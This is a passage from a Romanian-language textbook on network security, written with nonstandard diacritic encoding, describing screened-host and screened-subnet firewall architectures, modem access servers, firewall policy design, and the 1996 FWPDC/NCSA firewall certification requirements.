Firewall-ul de tip sistem gazd[-bastion protejat combin[ un ruter av`nd facilit[\i de filtrare a pachetelor cu o poart[ la nivel aplica\ie (sistem gazd[-bastion) , dispus[ @n partea de subre\ea protejat[ a ruter-ului. Poarta nu folose]te dec`t o interfa\[ de re\ea ]i nu permite trecerea spre celelalte sisteme din re\eaua protejat[ dec`t a serviciilor pentru care are servicii proxy active. Ruter-ulfiltreaz[ serviciile inerent periculoase (pentru ca acestea s[ nu afecteze p[oarta sau celelalte sisteme interne), dup[ urm[toarele reguli:
permite(ruteaz[) traficul care vine din INTERNET spre poart[;
interzice restul traficului care vine din INTERNET;
interzice trecerea spre exterior a oric[rui trafic provenind de la un sistem intern, cu excep\ia traficului care are drept surs[ poarta. Spre deosebire de firewall-ul implementat pe un sistem gazd[ dual , firewall de tip sistem gazd[-bastion protejat nu are nevoie dec`t de o interfa\[ de re\ea ]i nu necesit[ o subre\ea separat[ @ntre poart[ ]i ruter. Aceasta @i permite firewall-ului s[ fie mai flexibil dar ,probabil, mai pu\in sigur. Flexibiliatea se ob\ine @n condi\iile @n care ruter-ul este configurat astfel @nc`t s[ permit[ , totu]i, trecerea direct[ a unor servicii considerate de @ncredere. Seviciile considerate de @ncredere sunt acele servicii pentru care nu exist[ servicii proxy ]i ale c[ror riscuri de utilizare sunt acceptabile. De exemplu, @n cadrul serviciilor mai pu\in riscante , cumr ar fi NNTP ]i DNS, ruter-ul ar putea permite trecerea direct[ a acestora spre sistemele interne. #ntr-o astfel de configura\ie firewall-ul implementeaz[ , de fapt, o combina\ie a celor dou[ politici posibile de proiectare a sa , ponderea acestora depinz`nd de politica de securitate a organiza\iei. Flexibiliatea suplimentar[ a firewall-ului de tip sistem gazd[-bastion protejat este cauza a dou[ dezavantaje:
mai @nt`i existen\a a dou[ sisteme care trebuie configurate cu grij[ -ruter-ul ]i poarta. A]a cum am mai men\ionat, configurarea regulilor de filtrare ale unui ruter este complex[ ]i dificil de testat. Totusi, deoarece ruter-ul trebuie s[ permit[ traficul numai spre poart[ , setul de reguli va fi mai pu\in complex dec`t @n cazul unui firewall cu filtrare de pachete (care trebuia s[ restric\ioneze traficul spre mai multe sisteme);
al doilea dezavantaj , major de data aceasta, este c[ dac[ un atacator va reu]i s[ compromit[ ruter-ul atunci el va avea acces la @ntrega re\ea. #n acest[ arhitectur[, securitatea este asigurat[ , @n principal, prin filtrarea de pachete. Tabele de dirijare a ruter-elor care filtreaz[ pachetele trebuie configurate astfel @nc`t traficul extern s[ fie dirijat spre sistemul gazd[-bastion. Tabelele de dirijre trebuie protejate fa\[ de @ncerc[rile de schimbare neautorizate. Pentru a realiza acest lucru , se recomand[ urm[toarele :
folosirea rutelor statice( acestea nu expir[ ]i nu sunt schimbate de protocoalele de dirijare);
asigurarea c[ procesele routed sau gated nu se execut[ (altfel, rutele vor fi f[cute publice @n exterior); – dezactivarea r[spunsurilor la mesajele de redirectare ICMP (ruter-ul este vulnerabil la primirea unor mesaje de redirectare false , trimise de un intrus) ]i a r[spunsurilor ICMP unreachable;
dezactivarea proces[rii ARP prin folosirea de intr[ri permanente @n tabela cache ARP (@n mod normal , intr[rile @n tabela ARP sunt construite dinamic ]i expir[ dup[ un interval de timp predeterminat). Intr[rile @n tabel[ pentru ruter ]i sistemul gazd[-bastion vor fi ini\ializate manual , astfel c[ nu vor expira niciodat[ ]i vor ac\iona ca ni]te intr[ri "statice". O dat[ dezactivat[ procesarea ARP la ruter , ruter-ul nu va mai "anun\a " adresa sa la hardware;
dezactivarea serviciului TELNET (dac[ ruter-ul accept[ acest serviciu) ]i a celorlalte servicii de re\ea care nu sunt strict necesare.
Arhitectura firewall de tip subre\ea protejat[
Arhitectura firewall de tip subre\ea protejat[ este o combina\ie @ntre firewall-ul de tip sistem gazd[ dual ]i firewall-ul de tip sistem gazd[-bastion protejat. Ea poate fi folosit[ pentru a localiza fiecare component[ a firewall-ului pe un sistem separat, realiz`nd astfel o vitez[ de transfer crescut[ ]i o flexibilitate mai mare. De]i num[rul elementelor componente cre]te , configurarea sisrtemului este mai pu\in complex[, deoarece fiecare element trebuie s[ @ndeplineasc[ numai o sarcin[ specific[. #n aceas[ arhitectur[ re\eaua intern[ este izolat[ de INTERNET prin intermediul unei subre\ele intermediare ]i a dou[ ruter-e cu facilit[\i de filtrare a pachetelor. #n subre\eaua intermediar[ , protejat[ de cele dou[ ruter-e, vor fi dispuse sisteme gazd[-bastion ( unul singur sau mai multe) , server-e informa\ionale , sisteme de acces prin modem ]i alte sisteme care necesit[ un acces controlat. Regulile de filtrare a pachetelor de pe ruter-e vor controla traficul dinspre re\eaua extern[ ]i subre\eaua intermediar[, pe de o parte, ]i traficul dintre subre\eaua intermediar[ ]i cea intern[, pe de alt[ parte. Ruter-ul exterior, prin care se face conectarea la INTERNET, va dirija traficul @n concordan\[ cu urm[toarele reguli:
– permite ]i controleaz[ traficul dintre sistemele gazd[-bastion din subre\eaua protejat[( pe care ruleaz[ servicii proxy) ]i re\eaua extern[;
– permite ]i controleaz[ traficul de po]t[ electronic[ dintre server-ul de po]t[ electronic[ din subre\eaua protejat[ ]i re\eaua extern[;
– permite traficul FTP , gropher etc, din INTERNET spre server-ul informa\ional;
blocheaz[ orice trafic de alt tip. Este posibil, ca din motive financiare, ruter-ul exterior s[ nu apar\in[ propriu-zis organiza\iei, ci furnizorului de servicii INTERNET. Chiar ]i @n aceast[ situa\ie , ruter-ul poate ac\iona ca o "linie @nt`i" a ap[r[rii, doar c[ organiza[ia va trebui s[ se bazeze pe furnizorul de servicii INTERNET @n ceea ce prive]te @ntre\inerea corect[ a regulilor de filtrare a pachetelor.
Ruter-ul interior va dirija traficul dinspre re\eaua protejat[ ]i sub re\eaua intern[ dup[ urm[toarele reguli:
permite ]i controleaz[ traficul dintre sistemele interne ]i sistemele gazd[-bastion din subre\eaua protejat[ ( pe care ruleaz[ servicii proxy);
permite ]i controleaz[ traficul de po]t[ electronic[ dintre sistemele interne ]i server-ul de po]t[ electronic[ din subre\eaua protejat[;
permite traficul FTP, gropher etc., din subre\eaua intern[ spre server-ul informa\ional;
bloceaz[ orice trafic de alt tip. Astfel la ffel ca @n cazul firewall-ului de tip sistem gazd[ dual , nici un sistem intern nu poate fi accesibil direct din INTERNET ]i invers. Diferen\a mare const[ @n faptul c[ se folosesc ruter-e pentru a direc\iona traficul spre anumite sisteme ]i c[ se elimin[ nevoia ca serviciile proxy s[ ruleze pe un singur sistem , ]i acela dual. #n consecin\[ ,se poate realiza un trafic mult mai ridicat, aceast[ arhitectur[ fiind potrivit[ organiza\iilor care au cantit[\i mari de date de transferat sau solicit[ un trafic de mare vitez[. Putem spune c[ cele dou[ ruter-e furnizeaz[ o securitate prin redundan\[, deoarece un eventual atacator va trebui s[ le compromit[ pe ambele @nainte de a avea acces liber la un sistem intern. Sistemul (sistemele) gazd[-bastion, server-ul de po]t[ electronic[ ]i server-ul informa\ional vor fi singurele sisteme 'cunoscute " @n INTERNET, @n ceea ce prive]te baza de date DNS proprie , accesibil[ din exterior. Pe sistemul gazd[-bastion va rula software pentru autentificarea avansat[ a tuturor cererilor de conexiune. Firewall-ul de tip subre\ea protejat[ la fel ca ]i firewall-ul de tip sistem gazd[-bastion protejat, poate fi f[cut mai flexibil, prmi\`nd un trafic direct din re\eaua intern[ ]i cea extern[, limitat la acele servicii (de preferin\[ c`t mai pu\ine ) care sunt considerate suficient de sigure pentru a fi permise direct ]i nu prin intemediul serviciilor proxy de pe sistemele gazd[-bastion. De]i aceasta @nseamn[ acceptarea unor riscuri mai mari, acolo unde importante sunt viteza de transfel ]i flexibilitatea va fi preferat firewall-ul de tip subre\ea protejat[. Ca o alternativ[ la permiterea de conexiuni directe @ntre INTERNET ]i sistemele interne , @n cazul @n care trebuie s[ se asigure un grad @nalt de securitate , exist[ posibilitatea ca sistemele care solicit[ aceste servicii s[ fie dispuse @n subre\eaua protejat[. De exemplu, o organiza\ie care nu premite trafic X Windows sau NFS @ntre INTERNET ]i sistemele proprii poate dispune sistemele care au nevoie de aceste servicii @n subre\eaua protejat[. Aceste sisteme pot avea @n continuare , acces la celelalte sisteme interne , prin serviciile proxy ]i reconfigurarea ruter-ului interior , dup[ necesitate. Principalul dezavantaj al acestui tip de firewall este acela c[ accentueaz[ foarte mult rolul ruter-elor @n ceea ce prive]te asigurarea securit[\ii @n re\ea. Dup[ cum s-a men\ionat, ruter-e cu facilit[\i de filtare a pachetelor sunt uneori greu de configurat ]i dificil de testat, iar eventualele gre]eli de configurare pot avea cuno]tin\e imprevizibile asupra securit[\ii re\elei.
Integrarea @ntr-o arhitectur[ firewall a unui server de acces @n re\ea prin modem
Multe organiza\ii permit accesul de la distan\[ @n re\ea prin intermediul
modem-urilor ]i a liniilor telefonice cumulate. Localizarea modem-urilor @n diferite puncte ale re\elei duce la imposibilitatea punerii @n practic[ a unei politici eficiente de control a accesului , l[s`nd loc la a]a zisele " u]i secrete' (back doors) care pot anula complet protec\ia furnizat[ de firewall. O variant[ de rezolvare a acestei probleme este cea @n care toate modem-urile disponibile sunt concentrate @ntr-un singur loc, iar accesul @n re\ea prin intermediul acestora se face folosind mecanisme de securitate adecvate . Modem-urile se pot concentra @n jurul unui server de acces de la distan\[ sau @n jurul unui server de terminale- calculatoare specializate , destinate conect[rii de la distan\[ @n re\ea , prin modem. Un utilizator de la distan\[ se conecteaz[ mai @nt`i la server-ul de terminale ]i, de aici (prin TELNET, de exemplu), se conecteaz[ la alte sisteme din re\ea. Unele server-e de terminale furnizeaz[ ]i c`teva mecanisme de securitate cu care se pot restric\iona conexiunile prin anumite sisteme sau se pot implementa servicii de autentificare avansat[. Alternativ, server-ul de terminale poate fi un sistem gazd[ de uz general, la care s-au conectat ( @n mod concentrat) modem-urile. Server-ul de terminale ]i modem-urile sunt dispuse @n exteriorul unui firewall de tip sistem gazd[-bastion protejat. Deoarece conexiunile prin modem trebuie tratate cu aceea]i suspiciune ca ]i cele din INTERNET, dispunerea @n exterior le for\eaz[ s[ treac[ prin firewall. Mecanismele avansate de autentificare ale sistemului gazd[-bastion pot fi uitlizate apoi , at`t pentru autentificare a cererilor de conexiune sosite prin modem , c`t ]i a celor sosite din INTERNET. Ruter-ul, care filtreaz[ pachetele, poate fi folosit pentru a preveni conectarea direct[ a sistemelor interne la modem-uri. Un dezavantaj al acestei configura\ii este acela c[ modem-urilre ]i server-ul de terminale sunt conectate direct la INTERNET, fiind astfel expuse mai mult unui eventual atac. Dac[ un atacator decide s[ penetreze mai @nt`i server-ul de terminale , atunci , @n caz de succes, @l va putea folosi pe acesta ulterior, ca o baz[ pentru atacul altor sisteme. De accea, pentru a rejecta conexiunile sosite prin modem spre oricare alt sistem dec`t sistemul gazd[ dual, va trebui folosit un server de terminale cu facilit[\i de securitate.
Firewall-urile de tip sistem gazd[ dual ]i subre\ea protejat[ furnizeaz[ o metod[ mai sigur[ de rezolvare a problemei modem-urilor ]i sever-ului de terminale. Sever-ul de terminale este dispus @n subre\eaua protejat[ (zona "demilitarizat[" ) , unde accesul la / de la modem -uri poate fi riguros controlat de ruter-e ]i serviciile proxy. Ruter-ul exterior protejeaz[ modem-urile fa\[ de accesul direct din INTERNET. Ruter-ul interior previne accesul direct al sistemelor interne la modem-uri. Utilizatorii de la distan\[ se pot conecta prin modem la sistemele din re\eaua intern[ sau la INTERNET , dar numai dup[ ce s-au conectat , @n prealabil, la un serviciu proxy, folosind un mecanism de autentificare avansat[.
6. Implementarea securit[\ii prin firewall
P`n[ @n acest moment , au fost prezentate amenin\[rile ]i riscurile asociate cu conectarea la INTERNET, modul @n care un firewall poate fi folosit pentru a rezolva unele dintre aceste probleme ]i c`teva exemple de arhitecturi firewall . #n aceast[ sec\iune vom prezenta , pe scurt c`teva probleme care trebuie avute @n vedere @n momentul deciziei de utilizare a unui firewall, @n cazul unei re\ele conectate la INTERNET, @n contextul integr[rii @n politica general[ de securitate @n re\ea. Scopul este de a oferi o posibil[ secven\[ de pa]i , necesar a fi parcurs[ @n cazul implement[rii unui firewall:
definirea politicii de securitate prin firewall;
definirea cerin\elor de func\ionalitate ]i securitate pentru un firewall; – procurarea unui firewall;
administarea unui firewall.
6.1 Definirea politicii de securitate prin firewall
Politica de securitate prin firewall are dou[ niveluri prin care influen\eaz[ direct proiectatre , instalarea ]i utilizarea unui sistem firewall: politica de acces la serviciile re\elei ]i politica de proiectare a firewall-ului. Aceast[ sec\iune trateaz[ aceste politici @n rela\ie cu @ntreaga politic[ de securitate @n re\ea a unei organiza\ii ]i ofer[ c`teva idei @n ceea ce prive]te modul de identificare a riscurilor , nevoilor ]i, @n cele din urm[, a acestor politici.
Exist[ on serie de politici de acces la servicii , cum ar fi interzicerea accesului @n interior ]i permiterea accesului liber ( ne@ngr[dit) @n exterior sau accesul restric\ionat at`t @n interior , c`t ]i @n exterior. Politica de proiectatre a firewall-ului este cea care determin[, @n cel mai mare grad, politica de acces la servicii: cu c`t este mai robust[ prima, cu at`t devine mai sever[ ]i mai riguroas[ cea de-a doua. De accea, mai @nt`i trebuie definit[ politica de proiectare a firewall-ului.
Dup[ cum s-a mai ar[tat , politica de proiectare a firewall-ului este , @n general, de interzicere a tuturor serviciilor , cu excep\ia acelora care sunt @n mod explicit interzise. Prima variant[ este mai sigur[ ]i , de aceea, de cele mai multe ori preferat[ dar, @n acela]i timp, este mai restrictiv[ ]i determin[ ca politica de acces la servicii s[ permit[ mai pu\ine servicii.
Capitolul 5 a oferit c`teva exemple de arhitecturi firewall, sco\`nd @n eviden\[ faptul c[ unele firewall-uri pot implementa ambele politici de proiectare , @n timp ce arhitectura de tip sistem gazd[ dual este, @n mod inerent, un firewall care interzice toate serviciile , cu excep\ia celora @n mod explicit permise. Exemplele arat[ , de asemenea , c[ sistemele care solicit[ servicii ce nu trebuie s[ treac[ prin firewall pot fi localizate @n subre\elele protejate, sepatate de celelalte sisteme din re\ea. Rezult[ c[ , @n func\ie de cerin\ele de securitate ]i flexibilitate , unele tipuri de firewall -uri sunt mai potrivite dec`t altele. Aceasta arat[ , de asemenea, importan\a alegerii unei politici , @naintea implement[rii propriu-zise a firewall-ului.
Pentru a identifica o politic[ de proiectare a firewall-ului ]i apoi, un sistem firewall care s[ o implementeze, se recomand[ ca procesul de c[utare s[ @nceap[ prin adoptarea ini\ial a variantei mai sigure – interzicerea tuturor serviciilor , cu excep\ia acelora care sunt @n mod explicit permise . Proiectantul va trebui s[ @n\eleag[ ]i s[ documenteze urm[toarele probleme:
– Care sunt serviciile pe care organiza\ia inten\ioneaz[ s[ le foloseasc[ (TELNET, FTP, WWW, de exemplu);
Unde (cum) vor fi utilizate aceste servicii (local , de la distan\[, prin INTERNET, de la domiciliu);
Care sunt nevoile suplimentare pe care organiza\ia poate ]i trebuie s[ le suporte (criptarea informa\iei, modem-uri, linii telefonice etc.);
Care sunt riscurile asociate cu furnizarea accesului la aceste servicii ;
Care este costul furniz[rii protec\iei (@n termeni de control ]i impact asupra utiliz[rii re\elei);
Care este raportul , din punct de vedere al importan\ei , dintre securitate ]i utilitate (va fi mai important[ securitatea sau uitlitatea , @n cazul @n care folosirea unui serviciu particular este prea riscant[ sau cheltulielile pentru a-i asigura securitatea prea mari?).
R[spunsurile la aceaste @nreb[ri pot fi relativ simplu de dat, @n schimb vor fi @n mod necesar iterative.De exemplu , o organiza\ie dore]te folosirea serviciului NFS @ntre dou[ re\ele proprii, aflate la distan\[ una de cealat[ , dar politica de proiectare poate s[ nu permit[ acest serviciu (politica interzice toate serviciile, cu excep\ia acelora care au fost @n mod explicit permise). #n acest acz, exist[ c`teva r[spunsuri posibile:
– Dac[ riscurile asociate cu folosirea NFS sunt acceptabile pentru organiza\ie , aceasta poate cere schimbarea politicii de proiectare @ntr-o variant[ (mai pu\in sigur[) a permiterii tuturor serviciilor , cu excep\ia acelora care vor fi @n mod explicit interzise ( NFS nu va fi interzis @n acest caz);
Organiza\ia poate procura un firewall capabil s[ localizeze @ntr-o subre\ea protejat[ sistemele care solicit[ NFS , astfel, p[str`nd politica de proiectare existent[ pentru restul sistemelor proprii;
Riscurile folosirii NFS pot fi considerate prea mari ,a]a c[ NFS va fi eliminat de pe lista serviciilor care pot fi folosite de la distan\[. Prezent[m @n continuare , c`teva probleme care trebuie avute @n vedere @n procesul definirii politicii de acces la servicii:
Flexibilitatea. Orice politic[ de securitate care vizeaz[ accesul la INTERNET, serviciile INTERNET ]i , @n general, accesul @n re\ea trebuie s[ fie flexibil[. Flexibilitatea trebuie s[ existe din dou[ motive: INTERNET-ul @nsu]i este @ntr-o contiunu[ evolu\ie (nevoile organiza\iei put`ndu-se schimba pe m[sur[ ce oferta de noi servicii ]i protocoale cre]te), iar riscurile, de asemenea nu r[m`n statice. Noile protocoale ]i servicii care apar @n INTERNET pot oferi mai multe beneficii dar, @n acela]i timp, pot crea probleme noi @n ceea ce prive]te securitatea . Evolu\ia riscurilor poate fi o reflectare a unor schimb[ri majore @n responsabilit[\ile organiza\iei sau a unor schimb[ri mai mici, cum ar fi configur[ri ale organiza\iei re\elei. #n acest conetxt, politica de acces la servicii trebuie s[ fie suficient de flexibil[ pentru a se putea adapta cu u]urin\[ la eventualele schimb[ri;
Folosirea mecanismelor avansate de autentificare a utilizatorilor de la distan\[. Utilizatorii de la distan\[ sunt aceia ale c[ror cereri de accdes la servicii provin de oriunde din interiorul re\elei protejate: din INTERNET, de la domiciliu , prin intermediul unui modem ]i al unei linii telefonice comutate etc. Indiferent de unde provin, esen\ial este ca toate aceste cereri s[ foloseasc[ f[r[ excep\ie serviciile avansate de autentificare a firewall-ului, pentru a avea acces la sistemele din re\ea. Nu @n ultimul r`nd , trebuie avute @n vedere ]i costurile legate de instruirea utilizatorilor , eventuala dotare a acestora cu jetoane de autentificare sau cartele inteligente ]i cre]terea traficului datorat administr[rii acccesului de la distan\[;
Politica fa\[ de accesul @n/din exterior prin intermediul modem-urilor ]i a liniilor telefonice comutate . Pentru utilizatorii autoriza\i, este folositoare posibilitatea de a avea acces @n re\ea ]i atunci c`nd sunt @n exteriorul acesteia. Posibilitatea conect[rii din exterior , printr-o linie telefonic[ comutat[ , le permite acestora accesul la sistemele re\elei dinlocuri @n care accesul la INTERNET nu este disponibil. Totu]i, aceast[ posibilitate cre]te riscul unui acces neautorizat @n re\ea. Utilizatorii autoriza\i pot avea nevoie ]i de posibilitatea de a realiza conexiuni cu anumite sisteme din exterior care nu sunt accesibile prin INTERNET, ci doar prin intemediul liniilor telefonice comutate. Dac[ nu sunt luate precau\ii corespunz[toare posibilitatea de apel telefonic spre exterior se poate transforma cu u]urin\[ @ntr-o posibilitate de a primi apeluri ]i de a permite conexiuni prin "spatele" firewall-ului. Capabilit[\ile de acces @n ]i din exteriorul re\elei protejate , folosind liniile telefonice comutate ]i modem-urile, trebuie luate @n considerare @n proiectare firewall-ului ]i @ncorporate @n acesta. Foarea utilizatorilor din exterior de atrece prin mecanismele avansate de autentificarte ale firewall-ului trebuie s[ se reflecte @n politica de securitate. Politica va trebui , de asemenea, s[ interzic[ ata]area neautorizat[ a modem-urlor la sistemele gazd[ din re\ea, dac[ serviciul de comunica\ie prin modem este oferit de firewall.
Politica fa\[ de conexiunile la/de la distan\[ prin SLIP ]i PPP. Utilizatorii pot folosi SLIP (Serial Line IP) ]i PPP (Point-to-Point Protocol) pentru a realiza conexiuni @ntr-o re\ea protejat[ prin firewall . Aceste conexiuni sunt "u]i secrete" poten\iale aflate @n "spatele" firewall-uljui, de accea, se impune a nu fi permise dec`t dac[ vor trtece mai @nt`i prin firewall.
Politica fa\[ de server-ele informa\ionale . O organiza\ie care furneizeaz[ acces public la un server inforam\ional trebuie s[ n proiectare firewall-ului. Politica va trebiu s[ reflecte faptul c[ securitatea re\elei nu va fi compromis[ de dragul furniz[rii unui serviciu informa\ional. #n capitolul 5 sa-u prezentat c`teva exemple de @ncorporare a unui server informa\ional @ntr-o arhitectur[ de firewall. Exemplele de firewall de tip sistem gazd[ bastion protejat arat[ modul @n care un server informa\ionl poate fi localizat @ntr-o subre\ea priotejat[ , asfel @nc`t s[ fie izolat de celelalte sisteme din re\ea. Aceasta reduce ]ansa ca un server informa\ional s[ poat[ fi compromis ]i apoi utilizat pentru a ataca re\eaua.
6.2 Definirea cerin\elor de func\ionalitate ]i securitate pentru un firewall
Dup[ definirea politicii de securitate ]i @naintea procur[rii unui firewall , trebuie luate @n considereare o serie de probleme care vizeaz[ , ca ]i @n cazul achizi\ion[rii altor produse software, definirea cerin\elor, analiza ]i proiectarea specifica\iilor. Urm[torul pas este, apoi, procurarea unui firewall care s[ furnizeze nivelul corespunz[tor de protec\ie ]i s[ fie acceptabil din punct de vedere al costurilor. Totu]i , ce caracteristici trebuie s[ aib[, la nivel minimal, un firewall pentru a putea furniza o protec\ie efectiv[?
De]i nu se poate da un r[spuns exact la aceast[ @ntrebare, este recomandabil ca , @n general, un firewall s[ aib[ urm[toarele caracteristici:
s[ fie @n m[sur[ s[ suporte politica de proiectare care interzice toate serviciile , cu excep\ia acelora care sunt @n mod explict permise, chiar dac[ acesta nu este politica utilizat[;
s[ suporte politica de securitate definit[ de organiza\ie ]i nu s[ impun[ o politic[ proprie;
s[ fie flexibil, @n m[sur[ s[ se adapteze la servicii ]i nevoi noi, @n func\ie de schimb[rile din politica de securitate a organiza\iei;
s[ con\in[ mecanisme avansate de autentificare sau posibilit[\i de instalare a acestora;
s[ foloseasc[ tehnici de filtrare , pentru a permite sau interzice accesul spre anumite sisteme gazd[ , dup[ necesit[\i;
limbajul pentru definirea regulilor de filtrare trebuie s[ fie flexibil , u]or de utilizat , @n m[sur[ s[ filtrezre dup[ c`t mai multe atribute posibile (adresele IP surs[ ]i destina\ie , tipul protocolului, port-urile TCP/UDP surs[ ]i destin\ie , interfe\ele de intrare ]i ie]ire etc.);
pentru servicii caTELNET ]i FTP , trebuie s[ foloseasc[ servicii proxy, astfel @nc`t m[surile de autentificare avansat[ s[ se centralizeze pe firewall. Dac[ sunt cerute ]i servicii precum NNTP, X Window , http sau gopher, atunci firewall-ul trebuie s[ con\in[ servicii proxy pentru fiecare ;
trebuie s[ aib[ capacitatea de a centraliza accesul la SMTP, pentru a reduce conexiunile SMTP directe dintre re\ea ]i sistemele de la distan\[;
firewall-ul ]i accesul public @n re\ea trebuie corelate , @n a]a fel @nc`t server-ele informa\ionle publice s[ poat[ fi protejate de firewall dar, @n acela]i timp, s[ poat[ fi separate de celelalte sisteme din re\ea care nu furnizeaz[ acces public;
s[ aib[ capacitatea de a concentra ]i filtra accesul @n re\ea prin linii telefonice comutate ]i modem-uri;
s[ con\in[ mecanisme pentru jurnalizarea traficului @ntr-o form[ u]or de citit ]i @n\eles;
dac[ firewall-ul necesit[ un sistem de operare cum ar fi UNIX , atunci este necesar[ procurarea unei variante securizate a sistemului de operare , @mpreun[ cu alte mecanisme dde securitate necesare pentru a asigura integritatea sistemului gazd[ pe care lucreaz[;
firewall-ul trebuie s[ fie dezvoltat @ntr-o asemenea manier[ @nc`t t[ria ]i corectitudinea sa s[ fie verificabile;
trebuie s[ existe posibilitatea ca firewall-ul ]i sistemul de operare corespunz[tor s[ fie actualizate periodic.
Exist[ desigur , mai multe cerin\e pe care trebuie s[ le satisfac[ un firewall, dar cea mai mare parte a acestora va fi specific[ nevoilor fiec[rei organiza\ii (re\ele) @n parte. Accentu[m faptul c[ INTERNET-ul este o re\ea aflat[ @ntr-o continu[ schimbare ]i c[ apari\ia unor vulnerabilit[\i noi, a unor servicii noi, precum ]i dezvoltarea unor servicii deja existente reprezint[ dificult[\i poten\iale pentru orice instalare de firewall. De aceea, este important[ luarea @n considera\ie a flexibilit[\ii adapt[rii firewall-ului la nevoile continue de schimbare.
Pentru a veni @n sprijinul celor care produc ]i acelor care achizi\ioneaz[ , instaleaz[ ]i folosesc sisteme firewall, FWPDC ( Firewall Product Developers Consortium – Consor\iul Dezvoltatorilor de Produse Firewall ) ]i NCSA (National Computer Security Association – Asocia\ia Na\ional[ pentru Securitatea Calculatoarelor) au luat ini\iativa stabilirii unui set de criterii de certificare a unui produs firewall comercial. Actualmente, FWPDC este format dintr-un grup de 34 de firme mari , cele mai multe av`nd nume sonore @n domeniul tehnologiei informa\iei , firme care sunt implicate direct sau indirect @n dezvoltarea de produse firewall. NCSA este o organiza\ie interna\ional[ , independent[, care faciliteaz[ schimbul de informa\ii dintre utilizatori , exper\ii din industrie ]i comercian\i, @n domeniul securit[\ii informatice, eticii ]i fiabilit[\ii.
Certificarea , f[cut[ @n laboratoarele NCSA , are drept scopuri eliminarea unor confuzii de pe pia\a produselor firewall , simplificarea evalu[rii , achizi\ion[rii ]i instal[rii produselor firewall ]i asigurarea virtualilor utilizatori c[ un produs firewall certificat poate fi configurat pentru a proteja o re\ea intern[ @mpotriva amenin\[rilor curente din INTERNET. Un produs firewall este certificat de c[tre NCSA numai dac[ satisface anumite cerin\e ]i @n urma trecerii cu succes a unui set de teste av`nd la baz[ atacuri "standard". Trebuie spus c[, @n nici un caz, certificarea nu inplic[ o securitate perfect[, ce doar o reducere semnificativ[ a riscurilor.
#n scop instructiv , prezent[m @n continuare, pe scurt, criteriile FWPDC ]i NCSA de certificare a produselor firewall , @n speran\a c[ lecturarea acestora v[ av ajuta @n momentul @n care decizia de implementare a securit[\ii prin firewall v[ va impune definirea cerin\elor pentru sistemul firewall propriu ]i , eventual, evaluarea unor produse firewall comerciale @n vederea achizi\ion[rii unuia dintre ele . Conform versiunii 2.0 a acestora (anun\at[ la Firewalls and Web Security Conference , San Jose, 30 septembrie 1996), pentru a fi certificat , un produ \s firewall trebuie s[ satisfac[ urm[toarele cerin\e:
6.2.1 Cerin\e func\ionale
Servicii pentru utilizatorii interni a) TELNET- prin firewall, spre re\elele externe (*); b) FTP- prin firewall, spre re\elele externe (*); c) HTTP- prin firewall, spre re\elele externe (**); d) SSL ]i/sau SHTTP- prin firewall, spre re\elele externe; e)Po]t[ electronic[ SMTP-prin firewall, spre re\elele externe; f) Informa\ia DNS extern[ trebuie f[cut[ disponibil[ clien\ilor interni. Observa\ii: * – Pentru a satisface aceste cerin\e se poate folosi SOCKS. Acesta este un mecanism general ]i flexibil prin care se poate stabili o conexiune sigur[, de tip proxy, @ntre dou[ calculatoare, destinat mediilor client/server. Din perspectiva clientului, SOCKS este transparent, @n timp ce, din perspectiva server-ului, SOCKS este un client. SOCKS se compar[ cu un gateway de tip releu de date , execut`nd patru opera\ii de baz[:autentificarea, cererea de conexiune, setarea circuitului proxy ]i expedierea datelor. SOCKS este un mecanism general ]i flexibil deoarece permite comunica\ii client/server bazate at`t pe TPC , c`t ]i pe UDP, permite negocierea metodei de autentificare ]i a nivelului de securitate a mesajelor (integritate ]i/sau caracter confiden\ial). Cei care doresc mai multe informa\ii despre SOCKS pot r[sfoi paginile de le adresa: "http:;//www.socks.nec.com/". ** – HTTP poate fi furnizat printr-un proxy/cache sau un filtru.
Servicii pentru utilizatorii externi a) Acces FTP pe un server localizat @n re\eaua intern[ sau @ntr-o re\ea de serviciu (*,**,***); b) Acces HTTP pe un server localizat @n re\eaua intern[ sau @ntr-o re\ea de serviciu (***); c) Acces SSL ]i/sau SHTTP pe un server localizat @n re\eaua intern[ sau @ntr-o re\ea de serviciu; d) Po]ta electronic[ SMTP trebuie s[ fie furnizat[ clien\ilor @n re\eaua intern[(****) ; e) Serviciu DNS furnizat @n exterior trebuie s[ permit[ ca unele forme de "prezen\[ " s[ fie configurabile. Observa\ii: * – Serviciul FTP poate s[ nu fie de tip anonim , solicit`nd autentificare; ** – Dac[ accesul la un serviciu necesit[ folosirea unui dispozitiv de autentificare , atunci acest dispozitiv trebuie s[ fie pus la dispozi\ia NCSA pentru testare; *** – Server-ele interne de FTP, HTTP, SSL sau SHTTP pot fi localizate @ntr-o re\ea ee serviciu ,dac[ produsul firewall suport[ acest lucru. O re\ea de serviciu este o re\ea adi\ional[ ata]at[ firewall-ului care exist[ @n scopul de a g[zdui asemenea server-e (este un fel de " zon[ demilitarizat["); **** – Prodeusele firewall care folosesc server-e proxy pentru traficul SMTP trebuie s[ reziste la atacuri de tip sendmail.
Cerin\e privind administarea unui firewall a) Accesul la consola sistemului firewall trebuie s[s se fac[ printr-un mecanism de autentificare bazat pe parol[; b) dac[ sistemul permite administrarea de la distan\[, dintr-o re\ea extern[, atunci: => pentru autentificare trebuie utilizat , @n mod obligatoriu , un mecanism avansat de autentificare (de exemplu, bazat pe un sistem cu parol[ de unic[ folosin\[); => transferul informa\iei trebuie s[ se fac[ folosind un mecanism de cifrare; c) Dac[ sistemul permite administarea de la distan\[ , dintr-o re\ea intern[, atunci adresa IP nu trebuie s[ fie singurul mecanism pentru autentificare administartorului.
6.2.2 Cerin\e de securitate
Produsul va fi supus unui set de teste care vor simula atacuri executate at`t din exteriorul re\elei, c`t ]i din interiorul acesteia ( ca ]i cum atacatorul ar fi ob\inut accesul pe un sistem gazd[ din re\eaua intern[). Testele sunt f[cute @n ipoteza @n care atacatorul are cuno]ten\e complete privind configurarea sistemulului testat ]i elementele componente ale acestuia , @n scopul reducerii impactului "securit[\ii prin necunoa]tere".
Pentru a ob\ine cerificarea, un produs firewall ( configurat pentru a satisface cerin\ele func\ionale din subcapitolul 6.2.1) trebuie s[ reziste cu succes acestor atacuri , @n concordan\[ cu urm[toarele criterii:
#n urma execut[rii unui atac , nu trebuie s[ devin[ disponibil[ atacatorului nici o posibilitate de control administrativ asupra firewall-ului sau sistemului de operare suport;
Nici un protocol @n afara celor specificate nu trebuie s[ treac[ prin firewall @n re\eaua intern[;
